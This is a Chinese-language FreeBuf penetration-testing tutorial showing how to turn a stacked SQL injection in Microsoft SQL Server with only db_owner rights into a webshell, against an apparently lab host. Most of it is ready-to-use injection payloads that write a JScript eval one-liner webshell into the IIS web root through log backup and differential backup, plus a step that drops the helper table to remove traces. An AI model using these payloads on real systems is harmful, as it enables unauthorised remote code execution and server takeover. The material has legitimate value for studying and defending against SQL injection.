freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之基础篇:Microsoft SQL Server 手注之 db_owner 权限处理
2021-09-01 09:00:45

前言

注入点:http://192.168.159.137/post.aspx

首先我配置了一下权限:(添加了一个新用户saul,映射了test数据库,只有db_ownerpublic权限)

图片

加了一个单引号报错得到网站绝对路径:c:\inetpub\wwwroot\post.aspx

图片

Log备份Getshell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式。

具体如何备份Mssql数据库参考这篇文章:https://www.cnblogs.com/huangtaiyu/p/5560980.html

;alter database test set RECOVERY FULL--
;create table cmd (a image)--
;backup log test to disk = 'c:/1.bak' with init--
;insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--
;backup log test to disk = 'c:\inetpub\wwwroot\saul.aspx'--
;drop table cmd--

1、修改数据库恢复为完整模式

admin' ;alter database test set RECOVERY FULL --

图片

2、创建一张表:cmd,只有一个 a 列,类型为 image

admin ';create table cmd (a image) --

图片

3、备份表到C:\1.bak

admin' ;backup log test to disk = 'c:/1.bak' with init --

图片

4、插入一句话木马到 cmd 表里

admin';insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--

图片

5、吧操作日志备份到网站根目录

admin ';backup log test to disk = 'c:\inetpub\wwwroot\saul.aspx' --

图片

这个时候我们就得到了一个webshell:http://192.168.159.137/saul.aspx

图片

写入成功记得擦屁股吧创建的表删了:

admin';drop table cmd--

图片

最后用蚁剑连接:

图片

成功Getshell

差异备份Getshell(不推荐)

差异备份数据库得到webshell。在sql serverdbosa权限都有备份数据库权限,我们可以把数据库备份成aspx文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。

PS:差异备份有几率会导致网站挂掉!如果上面的LOG备份拿shell成功的话就尽量别用差异备份拿shell这种方法!具体为啥我也不知道。。。

1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);--

3. insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

1、备份数据库

admin';backup database test to disk = 'c:\bak.bak';--

图片

2、创建一张表

admin';create table [dbo].[test] ([cmd] [image]);--

图片

3、写入webshell到表

admin';insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>')--

图片

4、创建脚本文件

admin';backup database test to disk='c:\inetpub\wwwroot\saul1.aspx' WITH DIFFERENTIAL,FORMAT;--

图片

这个时候就得到了webshell:http://192.168.159.137/saul1.aspx图片

由上图可见发现是503,我们上帝视角看看:图片

确实是写入成功的!就是内存有点大!是因为我们访问的日志过多导致的!我们重启一下服务器。。。图片

图片

成功Getshell

公众号

若有好的建议和合作可以通过公众号与我联系!
微信公众号:渗透攻击红队

# 渗透测试 # SQL注入 # web安全 # sql注入利用方式 # sql注入各种姿势
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录